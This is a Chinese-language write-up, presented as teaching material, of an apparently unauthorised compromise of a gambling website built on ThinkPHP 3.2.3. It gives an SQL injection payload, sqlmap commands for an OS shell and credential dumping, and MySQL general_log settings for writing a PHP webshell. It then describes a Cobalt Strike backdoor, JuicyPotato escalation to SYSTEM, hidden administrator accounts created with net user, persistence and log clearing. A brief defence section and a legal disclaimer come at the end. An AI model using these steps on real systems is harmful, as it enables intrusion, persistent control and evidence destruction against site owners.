对某棋牌站的一次getshell
字数 1448 2025-08-06 08:35:27
ThinkPHP 3.2.3 棋牌站渗透实战教学文档
1. 目标侦察与信息收集
1.1 初始发现
- 通过FOFA搜索引擎扫描C段时发现目标站点
- 目标为博彩类(Betting & Casino)活动页面
- 站点架构:ThinkPHP 3.2.3二次开发版本
1.2 环境信息确认
- 操作系统:Windows
- Web框架:ThinkPHP v3.2.3
- 调试模式:开启(重要漏洞利用点)
- 网站绝对路径:
D:\web1\abc.com\wwlsoeprsueords\ - 辅助服务:999端口运行phpMyAdmin
2. 漏洞探测与利用
2.1 ThinkPHP日志文件探测
- 标准日志路径:
/addons/Runtime/Logs/admin/ - 可能的日志命名格式:
时间戳-年_月_日.log(如:1606510976-20_11_28.log) - 探测结果:未发现标准日志文件
2.2 SQL注入漏洞利用
-
注入点定位:
- 活动推广页的申请进度查询功能
- 使用Burp Suite抓包分析
-
验证注入:
username=123' and (extractvalue(1,concat(0x7e,(select user()),0x7e))))--+&id=13- 确认存在注入且为root权限
-
SQLMap自动化利用:
python3 sqlmap.py -r 1.txt --random-agent --dbms=mysql --os-shell- 注意:直接
--os-shell可能失败,需尝试其他方法
- 注意:直接
2.3 phpMyAdmin利用
-
数据库凭据枚举:
python3 sqlmap.py –r 1.txt --string="Surname" --users --password- 获取到root账号(登录失败)和dog1账号(登录成功)
-
写Shell限制分析:
SHOW GLOBAL VARIABLES LIKE "%secure%";secure_file_priv值为null,限制导入/导出操作
-
日志文件写Shell技术:
SHOW VARIABLES LIKE '%general%'; SET global general_log = "ON"; SET global general_log_file='D:/web1/abc.com/robots.php';- 在SQL查询处执行PHP一句话木马
- 通过蚁剑连接
robots.php获取WebShell
3. 权限提升与持久化
3.1 绕过函数限制
- 发现PHP环境禁用大量危险函数
- 解决方案:上传ASPX类型WebShell(使用冰蝎3的aspx马)
3.2 系统信息收集
-
进程与服务检查:
tasklist /svc- 确认无杀毒软件运行
-
Cobalt Strike上线:
- 生成exe后门上传至根目录并执行
- 使用烂土豆提权至system权限
3.3 RDP服务配置
-
检查远程桌面状态:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections- 返回值:1表示关闭,0表示开启
-
查看RDP端口:
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
3.4 持久化技术
-
创建隐藏用户:
net user username password /add net localgroup administrators username /add- 使用特殊字符创建不易发现的账户
-
自启动项设置:
- 通过注册表或启动文件夹添加持久化后门
-
日志清理:
- 清除系统日志、Web日志等操作痕迹
4. 关键注意事项
-
ThinkPHP特定版本特征:
- 3.2.3版本常见于二次开发系统
- 调试模式开启会增加信息泄露风险
-
phpMyAdmin利用限制:
- 高版本phpMyAdmin可能有更强的防护
- 爆破成功率与版本相关
-
Windows环境特殊点:
- IIS服务器可能同时支持ASP/ASPX
- 路径使用反斜杠需注意转义
-
防护绕过技巧:
- 当PHP函数受限时,考虑其他脚本类型WebShell
- 日志文件写入是常见绕过文件上传限制的方法
5. 防御建议
-
针对ThinkPHP站点:
- 关闭调试模式
- 及时更新框架版本
- 限制Runtime目录访问
-
数据库安全:
- 设置复杂密码
- 限制远程访问
- 配置
secure_file_priv
-
服务器加固:
- 禁用不必要的脚本支持
- 安装杀毒软件
- 定期审计账户和启动项
-
日志监控:
- 监控general_log设置变更
- 审计异常文件创建行为
本教学文档详细记录了从信息收集到最终控制的全过程,重点突出了ThinkPHP特定版本的利用技巧和Windows环境下的权限提升方法。实际渗透测试中,请确保获得合法授权,并遵守相关法律法规。